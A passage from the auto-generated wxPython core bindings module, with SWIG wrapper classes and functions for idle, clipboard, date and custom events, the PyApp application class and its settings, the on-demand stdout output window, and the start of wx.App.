mode)\n\n Static method for specifying how wxWidgets will send idle events: to\n all windows, or only to those which specify that they will process the\n events.\n\n The mode can be one of the following values:\n\n ========================= ========================================\n wx.IDLE_PROCESS_ALL Send idle events to all windows\n wx.IDLE_PROCESS_SPECIFIED Send idle events only to windows that have\n the wx.WS_EX_PROCESS_IDLE extra style\n flag set.\n ========================= ========================================\n\n \"\"\"\n return _core_.IdleEvent_SetMode(*args, **kwargs)\n\ndef IdleEvent_GetMode(*args):\n \"\"\"\n IdleEvent_GetMode() -> int\n\n Static method returning a value specifying how wxWidgets will send\n idle events: to all windows, or only to those which specify that they\n will process the events.\n \"\"\"\n return _core_.IdleEvent_GetMode(*args)\n\ndef IdleEvent_CanSend(*args, **kwargs):\n \"\"\"\n IdleEvent_CanSend(Window win) -> bool\n\n Returns ``True`` if it is appropriate to send idle events to this\n window.\n\n This function looks at the mode used (see `wx.IdleEvent.SetMode`), and\n the wx.WS_EX_PROCESS_IDLE style in window to determine whether idle\n events should be sent to this window now. By default this will always\n return ``True`` because the update mode is initially\n wx.IDLE_PROCESS_ALL. You can change the mode to only send idle events\n to windows with the wx.WS_EX_PROCESS_IDLE extra window style set.\n \"\"\"\n return _core_.IdleEvent_CanSend(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass ClipboardTextEvent(CommandEvent):\n \"\"\"\n A Clipboard Text event is sent when a window intercepts a text\n copy/cut/paste message, i.e. the user has cut/copied/pasted data\n from/into a text control via ctrl-C/X/V, ctrl/shift-del/insert, a\n popup menu command, etc. NOTE : under windows these events are *NOT*\n generated automatically for a Rich Edit text control.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0) -> ClipboardTextEvent\n\n A Clipboard Text event is sent when a window intercepts a text\n copy/cut/paste message, i.e. the user has cut/copied/pasted data\n from/into a text control via ctrl-C/X/V, ctrl/shift-del/insert, a\n popup menu command, etc. NOTE : under windows these events are *NOT*\n generated automatically for a Rich Edit text control.\n \"\"\"\n _core_.ClipboardTextEvent_swiginit(self,_core_.new_ClipboardTextEvent(*args, **kwargs))\n_core_.ClipboardTextEvent_swigregister(ClipboardTextEvent)\n\n#---------------------------------------------------------------------------\n\nclass PyEvent(Event):\n \"\"\"\n wx.PyEvent can be used as a base class for implementing custom event\n types in Python. You should derived from this class instead of\n `wx.Event` because this class is Python-aware and is able to transport\n its Python bits safely through the wxWidgets event system and have\n them still be there when the event handler is invoked.\n\n :see: `wx.PyCommandEvent`\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int winid=0, EventType eventType=wxEVT_NULL) -> PyEvent\"\"\"\n _core_.PyEvent_swiginit(self,_core_.new_PyEvent(*args, **kwargs))\n self._SetSelf(self)\n\n __swig_destroy__ = _core_.delete_PyEvent\n __del__ = lambda self : None;\n def _SetSelf(*args, **kwargs):\n \"\"\"_SetSelf(self, PyObject self)\"\"\"\n return _core_.PyEvent__SetSelf(*args, **kwargs)\n\n def _GetSelf(*args, **kwargs):\n \"\"\"_GetSelf(self) -> PyObject\"\"\"\n return _core_.PyEvent__GetSelf(*args, **kwargs)\n\n_core_.PyEvent_swigregister(PyEvent)\n\nclass PyCommandEvent(CommandEvent):\n \"\"\"\n wx.PyCommandEvent can be used as a base class for implementing custom\n event types in Python, where the event shoudl travel up to parent\n windows looking for a handler. You should derived from this class\n instead of `wx.CommandEvent` because this class is Python-aware and is\n able to transport its Python bits safely through the wxWidgets event\n system and have them still be there when the event handler is invoked.\n\n :see: `wx.PyEvent`\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType eventType=wxEVT_NULL, int id=0) -> PyCommandEvent\"\"\"\n _core_.PyCommandEvent_swiginit(self,_core_.new_PyCommandEvent(*args, **kwargs))\n self._SetSelf(self)\n\n __swig_destroy__ = _core_.delete_PyCommandEvent\n __del__ = lambda self : None;\n def _SetSelf(*args, **kwargs):\n \"\"\"_SetSelf(self, PyObject self)\"\"\"\n return _core_.PyCommandEvent__SetSelf(*args, **kwargs)\n\n def _GetSelf(*args, **kwargs):\n \"\"\"_GetSelf(self) -> PyObject\"\"\"\n return _core_.PyCommandEvent__GetSelf(*args, **kwargs)\n\n_core_.PyCommandEvent_swigregister(PyCommandEvent)\n\nclass DateEvent(CommandEvent):\n \"\"\"\n This event class holds information about a date change event and is\n used together with `wx.DatePickerCtrl`. It also serves as a base class\n for `wx.calendar.CalendarEvent`. Bind these event types with\n EVT_DATE_CHANGED.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Window win, DateTime dt, EventType type) -> DateEvent\"\"\"\n _core_.DateEvent_swiginit(self,_core_.new_DateEvent(*args, **kwargs))\n def GetDate(*args, **kwargs):\n \"\"\"\n GetDate(self) -> DateTime\n\n Returns the date.\n \"\"\"\n return _core_.DateEvent_GetDate(*args, **kwargs)\n\n def SetDate(*args, **kwargs):\n \"\"\"\n SetDate(self, DateTime date)\n\n Sets the date carried by the event, normally only used by the library\n internally.\n \"\"\"\n return _core_.DateEvent_SetDate(*args, **kwargs)\n\n Date = property(GetDate,SetDate,doc=\"See `GetDate` and `SetDate`\") \n_core_.DateEvent_swigregister(DateEvent)\n\nwxEVT_DATE_CHANGED = _core_.wxEVT_DATE_CHANGED\nEVT_DATE_CHANGED = wx.PyEventBinder( wxEVT_DATE_CHANGED, 1 )\n\n#---------------------------------------------------------------------------\n\nPYAPP_ASSERT_SUPPRESS = _core_.PYAPP_ASSERT_SUPPRESS\nPYAPP_ASSERT_EXCEPTION = _core_.PYAPP_ASSERT_EXCEPTION\nPYAPP_ASSERT_DIALOG = _core_.PYAPP_ASSERT_DIALOG\nPYAPP_ASSERT_LOG = _core_.PYAPP_ASSERT_LOG\nPRINT_WINDOWS = _core_.PRINT_WINDOWS\nPRINT_POSTSCRIPT = _core_.PRINT_POSTSCRIPT\nclass PyApp(EvtHandler):\n \"\"\"\n The ``wx.PyApp`` class is an *implementation detail*, please use the\n `wx.App` class (or some other derived class) instead.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PyApp\n\n Create a new application object, starting the bootstrap process.\n \"\"\"\n _core_.PyApp_swiginit(self,_core_.new_PyApp(*args, **kwargs))\n self._setOORInfo(self, False);PyApp._setCallbackInfo(self, self, PyApp);self.this.own(True)\n\n __swig_destroy__ = _core_.delete_PyApp\n __del__ = lambda self : None;\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class, bool incref=False)\"\"\"\n return _core_.PyApp__setCallbackInfo(*args, **kwargs)\n\n def GetAppName(*args, **kwargs):\n \"\"\"\n GetAppName(self) -> String\n\n Get the application name.\n \"\"\"\n return _core_.PyApp_GetAppName(*args, **kwargs)\n\n def SetAppName(*args, **kwargs):\n \"\"\"\n SetAppName(self, String name)\n\n Set the application name. This value may be used automatically by\n `wx.Config` and such.\n \"\"\"\n return _core_.PyApp_SetAppName(*args, **kwargs)\n\n def GetClassName(*args, **kwargs):\n \"\"\"\n GetClassName(self) -> String\n\n Get the application's class name.\n \"\"\"\n return _core_.PyApp_GetClassName(*args, **kwargs)\n\n def SetClassName(*args, **kwargs):\n \"\"\"\n SetClassName(self, String name)\n\n Set the application's class name. This value may be used for\n X-resources if applicable for the platform\n \"\"\"\n return _core_.PyApp_SetClassName(*args, **kwargs)\n\n def GetVendorName(*args, **kwargs):\n \"\"\"\n GetVendorName(self) -> String\n\n Get the application's vendor name.\n \"\"\"\n return _core_.PyApp_GetVendorName(*args, **kwargs)\n\n def SetVendorName(*args, **kwargs):\n \"\"\"\n SetVendorName(self, String name)\n\n Set the application's vendor name. This value may be used\n automatically by `wx.Config` and such.\n \"\"\"\n return _core_.PyApp_SetVendorName(*args, **kwargs)\n\n def GetTraits(*args, **kwargs):\n \"\"\"\n GetTraits(self) -> wxAppTraits\n\n Return (and create if necessary) the app traits object to which we\n delegate for everything which either should be configurable by the\n user (then he can change the default behaviour simply by overriding\n CreateTraits() and returning his own traits object) or which is\n GUI/console dependent as then wx.AppTraits allows us to abstract the\n differences behind the common facade.\n\n :todo: Add support for overriding CreateAppTraits in wxPython.\n \"\"\"\n return _core_.PyApp_GetTraits(*args, **kwargs)\n\n def ProcessPendingEvents(*args, **kwargs):\n \"\"\"\n ProcessPendingEvents(self)\n\n Process all events in the Pending Events list -- it is necessary to\n call this function to process posted events. This normally happens\n during each event loop iteration.\n \"\"\"\n return _core_.PyApp_ProcessPendingEvents(*args, **kwargs)\n\n def Yield(*args, **kwargs):\n \"\"\"\n Yield(self, bool onlyIfNeeded=False) -> bool\n\n Process all currently pending events right now, instead of waiting\n until return to the event loop. It is an error to call ``Yield``\n recursively unless the value of ``onlyIfNeeded`` is True.\n\n :warning: This function is dangerous as it can lead to unexpected\n reentrancies (i.e. when called from an event handler it may\n result in calling the same event handler again), use with\n extreme care or, better, don't use at all!\n\n :see: `wx.Yield`, `wx.YieldIfNeeded`, `wx.SafeYield`\n\n \"\"\"\n return _core_.PyApp_Yield(*args, **kwargs)\n\n def WakeUpIdle(*args, **kwargs):\n \"\"\"\n WakeUpIdle(self)\n\n Make sure that idle events are sent again.\n :see: `wx.WakeUpIdle`\n \"\"\"\n return _core_.PyApp_WakeUpIdle(*args, **kwargs)\n\n def IsMainLoopRunning(*args, **kwargs):\n \"\"\"\n IsMainLoopRunning() -> bool\n\n Returns True if we're running the main loop, i.e. if the events can\n currently be dispatched.\n \"\"\"\n return _core_.PyApp_IsMainLoopRunning(*args, **kwargs)\n\n IsMainLoopRunning = staticmethod(IsMainLoopRunning)\n def MainLoop(*args, **kwargs):\n \"\"\"\n MainLoop(self) -> int\n\n Execute the main GUI loop, the function doesn't normally return until\n all top level windows have been closed and destroyed.\n \"\"\"\n return _core_.PyApp_MainLoop(*args, **kwargs)\n\n def Exit(*args, **kwargs):\n \"\"\"\n Exit(self)\n\n Exit the main loop thus terminating the application.\n :see: `wx.Exit`\n \"\"\"\n return _core_.PyApp_Exit(*args, **kwargs)\n\n def GetLayoutDirection(*args, **kwargs):\n \"\"\"\n GetLayoutDirection(self) -> int\n\n Return the layout direction for the current locale.\n \"\"\"\n return _core_.PyApp_GetLayoutDirection(*args, **kwargs)\n\n def ExitMainLoop(*args, **kwargs):\n \"\"\"\n ExitMainLoop(self)\n\n Exit the main GUI loop during the next iteration of the main\n loop, (i.e. it does not stop the program immediately!)\n \"\"\"\n return _core_.PyApp_ExitMainLoop(*args, **kwargs)\n\n def FilterEvent(*args, **kwargs):\n \"\"\"\n FilterEvent(self, Event event) -> int\n\n Filters all events. `SetCallFilterEvent` controls whether or not your\n override is called.\n \"\"\"\n return _core_.PyApp_FilterEvent(*args, **kwargs)\n\n def GetCallFilterEvent(*args, **kwargs):\n \"\"\"\n GetCallFilterEvent(self) -> bool\n\n Returns the state of the Call FilterEvent flag.\n \"\"\"\n return _core_.PyApp_GetCallFilterEvent(*args, **kwargs)\n\n def SetCallFilterEvent(*args, **kwargs):\n \"\"\"\n SetCallFilterEvent(self, bool callFilterEvent=True)\n\n Set the Call FilterEvent flag. When set your override of FilterEvent\n will be called. SetCallFilterEvent's purpose is to avoid any\n performance penalty when you have overriden FilterEvent, but don't\n want it to be called, and also to reduce the runtime overhead when it\n is not overridden.\n \"\"\"\n return _core_.PyApp_SetCallFilterEvent(*args, **kwargs)\n\n def Pending(*args, **kwargs):\n \"\"\"\n Pending(self) -> bool\n\n Returns True if there are unprocessed events in the event queue.\n \"\"\"\n return _core_.PyApp_Pending(*args, **kwargs)\n\n def Dispatch(*args, **kwargs):\n \"\"\"\n Dispatch(self) -> bool\n\n Process the first event in the event queue (blocks until an event\n appears if there are none currently)\n \"\"\"\n return _core_.PyApp_Dispatch(*args, **kwargs)\n\n def ProcessIdle(*args, **kwargs):\n \"\"\"\n ProcessIdle(self) -> bool\n\n Called from the MainLoop when the application becomes idle (there are\n no pending events) and sends a `wx.IdleEvent` to all interested\n parties. Returns True if more idle events are needed, False if not.\n \"\"\"\n return _core_.PyApp_ProcessIdle(*args, **kwargs)\n\n def SendIdleEvents(*args, **kwargs):\n \"\"\"\n SendIdleEvents(self, Window win, IdleEvent event) -> bool\n\n Send idle event to window and all subwindows. Returns True if more\n idle time is requested.\n \"\"\"\n return _core_.PyApp_SendIdleEvents(*args, **kwargs)\n\n def IsActive(*args, **kwargs):\n \"\"\"\n IsActive(self) -> bool\n\n Return True if our app has focus.\n \"\"\"\n return _core_.PyApp_IsActive(*args, **kwargs)\n\n def SetTopWindow(*args, **kwargs):\n \"\"\"\n SetTopWindow(self, Window win)\n\n Set the *main* top level window\n \"\"\"\n return _core_.PyApp_SetTopWindow(*args, **kwargs)\n\n def GetTopWindow(*args, **kwargs):\n \"\"\"\n GetTopWindow(self) -> Window\n\n Return the *main* top level window (if it hadn't been set previously\n with SetTopWindow(), will return just some top level window and, if\n there not any, will return None)\n \"\"\"\n return _core_.PyApp_GetTopWindow(*args, **kwargs)\n\n def SetExitOnFrameDelete(*args, **kwargs):\n \"\"\"\n SetExitOnFrameDelete(self, bool flag)\n\n Control the exit behaviour: by default, the program will exit the main\n loop (and so, usually, terminate) when the last top-level program\n window is deleted. Beware that if you disable this behaviour (with\n SetExitOnFrameDelete(False)), you'll have to call ExitMainLoop()\n explicitly from somewhere.\n \"\"\"\n return _core_.PyApp_SetExitOnFrameDelete(*args, **kwargs)\n\n def GetExitOnFrameDelete(*args, **kwargs):\n \"\"\"\n GetExitOnFrameDelete(self) -> bool\n\n Get the current exit behaviour setting.\n \"\"\"\n return _core_.PyApp_GetExitOnFrameDelete(*args, **kwargs)\n\n def SetUseBestVisual(*args, **kwargs):\n \"\"\"\n SetUseBestVisual(self, bool flag, bool forceTrueColour=False)\n\n Set whether the app should try to use the best available visual on\n systems where more than one is available, (Sun, SGI, XFree86 4, etc.)\n \"\"\"\n return _core_.PyApp_SetUseBestVisual(*args, **kwargs)\n\n def GetUseBestVisual(*args, **kwargs):\n \"\"\"\n GetUseBestVisual(self) -> bool\n\n Get current UseBestVisual setting.\n \"\"\"\n return _core_.PyApp_GetUseBestVisual(*args, **kwargs)\n\n def SetPrintMode(*args, **kwargs):\n \"\"\"SetPrintMode(self, int mode)\"\"\"\n return _core_.PyApp_SetPrintMode(*args, **kwargs)\n\n def GetPrintMode(*args, **kwargs):\n \"\"\"GetPrintMode(self) -> int\"\"\"\n return _core_.PyApp_GetPrintMode(*args, **kwargs)\n\n def SetAssertMode(*args, **kwargs):\n \"\"\"\n SetAssertMode(self, int mode)\n\n Set the OnAssert behaviour for debug and hybrid builds.\n \"\"\"\n return _core_.PyApp_SetAssertMode(*args, **kwargs)\n\n def GetAssertMode(*args, **kwargs):\n \"\"\"\n GetAssertMode(self) -> int\n\n Get the current OnAssert behaviour setting.\n \"\"\"\n return _core_.PyApp_GetAssertMode(*args, **kwargs)\n\n def MacHideApp(*args, **kwargs):\n \"\"\"\n MacHideApp(self)\n\n Hide all application windows just as the user can do with the system\n Hide command. Mac only.\n \"\"\"\n return _core_.PyApp_MacHideApp(*args, **kwargs)\n\n def MacRequestUserAttention(*args, **kwargs):\n \"\"\"MacRequestUserAttention(self, int ?)\"\"\"\n return _core_.PyApp_MacRequestUserAttention(*args, **kwargs)\n\n def GetMacSupportPCMenuShortcuts(*args, **kwargs):\n \"\"\"GetMacSupportPCMenuShortcuts() -> bool\"\"\"\n return _core_.PyApp_GetMacSupportPCMenuShortcuts(*args, **kwargs)\n\n GetMacSupportPCMenuShortcuts = staticmethod(GetMacSupportPCMenuShortcuts)\n def GetMacAboutMenuItemId(*args, **kwargs):\n \"\"\"GetMacAboutMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacAboutMenuItemId(*args, **kwargs)\n\n GetMacAboutMenuItemId = staticmethod(GetMacAboutMenuItemId)\n def GetMacPreferencesMenuItemId(*args, **kwargs):\n \"\"\"GetMacPreferencesMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacPreferencesMenuItemId(*args, **kwargs)\n\n GetMacPreferencesMenuItemId = staticmethod(GetMacPreferencesMenuItemId)\n def GetMacExitMenuItemId(*args, **kwargs):\n \"\"\"GetMacExitMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacExitMenuItemId(*args, **kwargs)\n\n GetMacExitMenuItemId = staticmethod(GetMacExitMenuItemId)\n def GetMacHelpMenuTitleName(*args, **kwargs):\n \"\"\"GetMacHelpMenuTitleName() -> String\"\"\"\n return _core_.PyApp_GetMacHelpMenuTitleName(*args, **kwargs)\n\n GetMacHelpMenuTitleName = staticmethod(GetMacHelpMenuTitleName)\n def SetMacSupportPCMenuShortcuts(*args, **kwargs):\n \"\"\"SetMacSupportPCMenuShortcuts(bool val)\"\"\"\n return _core_.PyApp_SetMacSupportPCMenuShortcuts(*args, **kwargs)\n\n SetMacSupportPCMenuShortcuts = staticmethod(SetMacSupportPCMenuShortcuts)\n def SetMacAboutMenuItemId(*args, **kwargs):\n \"\"\"SetMacAboutMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacAboutMenuItemId(*args, **kwargs)\n\n SetMacAboutMenuItemId = staticmethod(SetMacAboutMenuItemId)\n def SetMacPreferencesMenuItemId(*args, **kwargs):\n \"\"\"SetMacPreferencesMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacPreferencesMenuItemId(*args, **kwargs)\n\n SetMacPreferencesMenuItemId = staticmethod(SetMacPreferencesMenuItemId)\n def SetMacExitMenuItemId(*args, **kwargs):\n \"\"\"SetMacExitMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacExitMenuItemId(*args, **kwargs)\n\n SetMacExitMenuItemId = staticmethod(SetMacExitMenuItemId)\n def SetMacHelpMenuTitleName(*args, **kwargs):\n \"\"\"SetMacHelpMenuTitleName(String val)\"\"\"\n return _core_.PyApp_SetMacHelpMenuTitleName(*args, **kwargs)\n\n SetMacHelpMenuTitleName = staticmethod(SetMacHelpMenuTitleName)\n def _BootstrapApp(*args, **kwargs):\n \"\"\"\n _BootstrapApp(self)\n\n For internal use only\n \"\"\"\n return _core_.PyApp__BootstrapApp(*args, **kwargs)\n\n def GetComCtl32Version(*args, **kwargs):\n \"\"\"\n GetComCtl32Version() -> int\n\n Returns 400, 470, 471, etc. for comctl32.dll 4.00, 4.70, 4.71 or 0 if\n it wasn't found at all. Raises an exception on non-Windows platforms.\n \"\"\"\n return _core_.PyApp_GetComCtl32Version(*args, **kwargs)\n\n GetComCtl32Version = staticmethod(GetComCtl32Version)\n def IsDisplayAvailable(*args, **kwargs):\n \"\"\"\n IsDisplayAvailable() -> bool\n\n Tests if it is possible to create a GUI in the current environment.\n This will mean different things on the different platforms.\n\n * On X Windows systems this function will return ``False`` if it is\n not able to open a connection to the X display, which can happen\n if $DISPLAY is not set, or is not set correctly.\n\n * On Mac OS X a ``False`` return value will mean that wx is not\n able to access the window manager, which can happen if logged in\n remotely or if running from the normal version of python instead\n of the framework version, (i.e., pythonw.)\n\n * On MS Windows...\n\n \"\"\"\n return _core_.PyApp_IsDisplayAvailable(*args, **kwargs)\n\n IsDisplayAvailable = staticmethod(IsDisplayAvailable)\n AppName = property(GetAppName,SetAppName,doc=\"See `GetAppName` and `SetAppName`\") \n AssertMode = property(GetAssertMode,SetAssertMode,doc=\"See `GetAssertMode` and `SetAssertMode`\") \n ClassName = property(GetClassName,SetClassName,doc=\"See `GetClassName` and `SetClassName`\") \n ExitOnFrameDelete = property(GetExitOnFrameDelete,SetExitOnFrameDelete,doc=\"See `GetExitOnFrameDelete` and `SetExitOnFrameDelete`\") \n LayoutDirection = property(GetLayoutDirection,doc=\"See `GetLayoutDirection`\") \n PrintMode = property(GetPrintMode,SetPrintMode,doc=\"See `GetPrintMode` and `SetPrintMode`\") \n TopWindow = property(GetTopWindow,SetTopWindow,doc=\"See `GetTopWindow` and `SetTopWindow`\") \n Traits = property(GetTraits,doc=\"See `GetTraits`\") \n UseBestVisual = property(GetUseBestVisual,SetUseBestVisual,doc=\"See `GetUseBestVisual` and `SetUseBestVisual`\") \n VendorName = property(GetVendorName,SetVendorName,doc=\"See `GetVendorName` and `SetVendorName`\") \n Active = property(IsActive) \n_core_.PyApp_swigregister(PyApp)\n\ndef PyApp_IsMainLoopRunning(*args):\n \"\"\"\n PyApp_IsMainLoopRunning() -> bool\n\n Returns True if we're running the main loop, i.e. if the events can\n currently be dispatched.\n \"\"\"\n return _core_.PyApp_IsMainLoopRunning(*args)\n\ndef PyApp_GetMacSupportPCMenuShortcuts(*args):\n \"\"\"PyApp_GetMacSupportPCMenuShortcuts() -> bool\"\"\"\n return _core_.PyApp_GetMacSupportPCMenuShortcuts(*args)\n\ndef PyApp_GetMacAboutMenuItemId(*args):\n \"\"\"PyApp_GetMacAboutMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacAboutMenuItemId(*args)\n\ndef PyApp_GetMacPreferencesMenuItemId(*args):\n \"\"\"PyApp_GetMacPreferencesMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacPreferencesMenuItemId(*args)\n\ndef PyApp_GetMacExitMenuItemId(*args):\n \"\"\"PyApp_GetMacExitMenuItemId() -> long\"\"\"\n return _core_.PyApp_GetMacExitMenuItemId(*args)\n\ndef PyApp_GetMacHelpMenuTitleName(*args):\n \"\"\"PyApp_GetMacHelpMenuTitleName() -> String\"\"\"\n return _core_.PyApp_GetMacHelpMenuTitleName(*args)\n\ndef PyApp_SetMacSupportPCMenuShortcuts(*args, **kwargs):\n \"\"\"PyApp_SetMacSupportPCMenuShortcuts(bool val)\"\"\"\n return _core_.PyApp_SetMacSupportPCMenuShortcuts(*args, **kwargs)\n\ndef PyApp_SetMacAboutMenuItemId(*args, **kwargs):\n \"\"\"PyApp_SetMacAboutMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacAboutMenuItemId(*args, **kwargs)\n\ndef PyApp_SetMacPreferencesMenuItemId(*args, **kwargs):\n \"\"\"PyApp_SetMacPreferencesMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacPreferencesMenuItemId(*args, **kwargs)\n\ndef PyApp_SetMacExitMenuItemId(*args, **kwargs):\n \"\"\"PyApp_SetMacExitMenuItemId(long val)\"\"\"\n return _core_.PyApp_SetMacExitMenuItemId(*args, **kwargs)\n\ndef PyApp_SetMacHelpMenuTitleName(*args, **kwargs):\n \"\"\"PyApp_SetMacHelpMenuTitleName(String val)\"\"\"\n return _core_.PyApp_SetMacHelpMenuTitleName(*args, **kwargs)\n\ndef PyApp_GetComCtl32Version(*args):\n \"\"\"\n PyApp_GetComCtl32Version() -> int\n\n Returns 400, 470, 471, etc. for comctl32.dll 4.00, 4.70, 4.71 or 0 if\n it wasn't found at all. Raises an exception on non-Windows platforms.\n \"\"\"\n return _core_.PyApp_GetComCtl32Version(*args)\n\ndef PyApp_IsDisplayAvailable(*args):\n \"\"\"\n PyApp_IsDisplayAvailable() -> bool\n\n Tests if it is possible to create a GUI in the current environment.\n This will mean different things on the different platforms.\n\n * On X Windows systems this function will return ``False`` if it is\n not able to open a connection to the X display, which can happen\n if $DISPLAY is not set, or is not set correctly.\n\n * On Mac OS X a ``False`` return value will mean that wx is not\n able to access the window manager, which can happen if logged in\n remotely or if running from the normal version of python instead\n of the framework version, (i.e., pythonw.)\n\n * On MS Windows...\n\n \"\"\"\n return _core_.PyApp_IsDisplayAvailable(*args)\n\n#---------------------------------------------------------------------------\n\n\ndef Exit(*args):\n \"\"\"\n Exit()\n\n Force an exit of the application. Convenience for wx.GetApp().Exit()\n \"\"\"\n return _core_.Exit(*args)\n\ndef Yield(*args):\n \"\"\"\n Yield() -> bool\n\n Yield to other apps/messages. Convenience for wx.GetApp().Yield()\n \"\"\"\n return _core_.Yield(*args)\n\ndef YieldIfNeeded(*args):\n \"\"\"\n YieldIfNeeded() -> bool\n\n Yield to other apps/messages. Convenience for wx.GetApp().Yield(True)\n \"\"\"\n return _core_.YieldIfNeeded(*args)\n\ndef SafeYield(*args, **kwargs):\n \"\"\"\n SafeYield(Window win=None, bool onlyIfNeeded=False) -> bool\n\n This function is similar to `wx.Yield`, except that it disables the\n user input to all program windows before calling `wx.Yield` and\n re-enables it again afterwards. If ``win`` is not None, this window\n will remain enabled, allowing the implementation of some limited user\n interaction.\n\n :Returns: the result of the call to `wx.Yield`.\n \"\"\"\n return _core_.SafeYield(*args, **kwargs)\n\ndef WakeUpIdle(*args):\n \"\"\"\n WakeUpIdle()\n\n Cause the message queue to become empty again, so idle events will be\n sent.\n \"\"\"\n return _core_.WakeUpIdle(*args)\n\ndef PostEvent(*args, **kwargs):\n \"\"\"\n PostEvent(EvtHandler dest, Event event)\n\n Send an event to a window or other wx.EvtHandler to be processed\n later.\n \"\"\"\n return _core_.PostEvent(*args, **kwargs)\n\ndef App_CleanUp(*args):\n \"\"\"\n App_CleanUp()\n\n For internal use only, it is used to cleanup after wxWidgets when\n Python shuts down.\n \"\"\"\n return _core_.App_CleanUp(*args)\n\ndef GetApp(*args):\n \"\"\"\n GetApp() -> PyApp\n\n Return a reference to the current wx.App object.\n \"\"\"\n return _core_.GetApp(*args)\n\ndef SetDefaultPyEncoding(*args, **kwargs):\n \"\"\"\n SetDefaultPyEncoding(string encoding)\n\n Sets the encoding that wxPython will use when it needs to convert a\n Python string or unicode object to or from a wxString.\n\n The default encoding is the value of ``locale.getdefaultlocale()[1]``\n but please be aware that the default encoding within the same locale\n may be slightly different on different platforms. For example, please\n see http://www.alanwood.net/demos/charsetdiffs.html for differences\n between the common latin/roman encodings.\n \"\"\"\n return _core_.SetDefaultPyEncoding(*args, **kwargs)\n\ndef GetDefaultPyEncoding(*args):\n \"\"\"\n GetDefaultPyEncoding() -> string\n\n Gets the current encoding that wxPython will use when it needs to\n convert a Python string or unicode object to or from a wxString.\n \"\"\"\n return _core_.GetDefaultPyEncoding(*args)\n#----------------------------------------------------------------------\n\nclass PyOnDemandOutputWindow:\n \"\"\"\n A class that can be used for redirecting Python's stdout and\n stderr streams. It will do nothing until something is wrriten to\n the stream at which point it will create a Frame with a text area\n and write the text there.\n \"\"\"\n def __init__(self, title = \"wxPython: stdout/stderr\"):\n self.frame = None\n self.title = title\n self.pos = wx.DefaultPosition\n self.size = (450, 300)\n self.parent = None\n self.triggers = []\n\n\n def SetParent(self, parent):\n \"\"\"Set the window to be used as the popup Frame's parent.\"\"\"\n self.parent = parent\n\n\n def RaiseWhenSeen(self, trigger):\n \"\"\"\n Trigger is a string or list of strings that will cause the\n output window to be raised when that trigger text is written.\n \"\"\"\n import types\n if type(trigger) in types.StringTypes:\n trigger = [trigger]\n self.triggers = trigger\n \n\n def CreateOutputWindow(self, st):\n self.frame = wx.Frame(self.parent, -1, self.title, self.pos, self.size,\n style=wx.DEFAULT_FRAME_STYLE)\n self.text = wx.TextCtrl(self.frame, -1, \"\",\n style=wx.TE_MULTILINE|wx.TE_READONLY)\n self.text.AppendText(st)\n self.frame.Show(True)\n self.frame.Bind(wx.EVT_CLOSE, self.OnCloseWindow)\n \n\n def OnCloseWindow(self, event):\n if self.frame is not None:\n self.frame.Destroy()\n self.frame = None\n self.text = None\n self.parent = None\n\n\n # These methods provide the file-like output behaviour.\n def write(self, text):\n \"\"\"\n Create the output window if needed and write the string to it.\n If not called in the context of the gui thread then uses\n CallAfter to do the work there.\n \"\"\" \n if self.frame is None:\n if not wx.Thread_IsMain():\n wx.CallAfter(self.CreateOutputWindow, text)\n else:\n self.CreateOutputWindow(text)\n else:\n if not wx.Thread_IsMain():\n wx.CallAfter(self.__write, text)\n else:\n self.__write(text)\n\n def __write(self, text):\n # helper function for actually writing the text, and\n # optionally raising the frame if needed\n self.text.AppendText(text)\n for item in self.triggers:\n if item in text:\n self.frame.Raise()\n break\n\n\n def close(self):\n if self.frame is not None:\n wx.CallAfter(self.frame.Close)\n\n\n def flush(self):\n pass\n \n\n\n#----------------------------------------------------------------------\n\n_defRedirect = (wx.Platform == '__WXMSW__' or wx.Platform == '__WXMAC__')\n \nclass App(wx.PyApp):\n \"\"\"\n The ``wx.App`` class represents the application and is used to:\n\n * bootstrap the wxPython system and initialize the underlying\n gui toolkit\n * set and get application-wide properties\n * implement the windowing system main message or event loop,\n and to dispatch events to window instances\n * etc.\n\n Every application must have a ``wx.App`` instance, and all\n creation of UI objects should be delayed until after the\n ``wx.App`` object has been created in order to ensure that the gui\n platform and wxWidgets have been fully initialized.\n\n Normally you would derive from this class and implement an\n ``OnInit`` method that creates a frame and then calls\n ``self.SetTopWindow(frame)``.\n\n :see: `wx.PySimpleApp` for a simpler app class that can be used\n directly.\n \"\"\"\n \n outputWindowClass = PyOnDemandOutputWindow\n\n def __init__(self, redirect=_defRedirect, filename=None,\n useBestVisual=False, clearSigInt=True):\n \"\"\"\n Construct a ``wx.App`` object. \n\n :param redirect: Should ``sys.stdout`` and ``sys.stderr`` be\n redirected? Defaults to True on Windows and Mac, False\n otherwise. If `filename` is None then output will be\n redirected to a window that pops up as needed. (You can\n control what kind of window is created for the output by\n resetting the class variable ``outputWindowClass`` to a\n class of your choosing.)\n\n :param filename: The name of a file to redirect output to, if\n 